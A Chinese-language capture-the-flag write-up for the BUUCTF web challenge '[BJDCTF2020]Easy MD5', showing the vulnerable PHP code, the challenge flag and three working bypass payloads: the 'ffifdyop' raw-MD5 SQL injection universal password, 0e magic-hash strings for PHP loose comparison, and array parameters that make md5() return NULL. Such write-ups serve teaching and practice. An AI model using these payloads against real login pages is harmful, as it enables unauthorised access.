BUUCTF-web-[BJDCTF2020]Easy MD5
[BJDCTF2020]Easy MD5
解题思路
1、MD5绕过
2、sql注入
解题步骤
step1:ffifdyop绕过
输入任意密码,查看响应信息发现一个sql语句
select * from 'admin' where password=md5($pass,true)
输入ffifdyop进行绕过,得到以下页面
step2:0e绕过
查看网页源码如下:
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
分析:需要a和b不相等,但是a和b的md5值要相等,考虑使用0e绕过
1、选取两个字符串md5后是以0e开头的,例如:s1665632922a s1502113478a
2、使用GET方法传入参数
levels91.php?a=s1665632922a&b=s1502113478a
获取如下代码:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
step3 数组绕过
获取代码如下:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
1、md5()函数无法处理数组,传入数组返回为空,可使param1和param2的md5值相等
2、使用POST方法传入参数
param1[]=111¶m2[]=222
得到flag
flag{07c5ad3d-d877-4fa9-81ec-d933ef02fe1b}
总结
ffifdyop绕过
绕过原理是:
ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是' or '6
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是1select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。
0e绕过
在进行“==”判断的时候,会先将字符串类型转化成相同再比较。转换的规则为,若该字符串以合法的数值开始,则使用该值,否则其值为0。因此,根据这一点,可以遍历出一个字符串,其MD5加密前后都是'0e'开头且后面纯数字,这样就能保证值是相等。
数组绕过
由于md5不能加密数组,在加密数组的时候会返回NULL,所以我们可以传入两个数组
数组绕过适用于源码中没有判断变量类型或内容,如果加上了过滤函数就不能使用了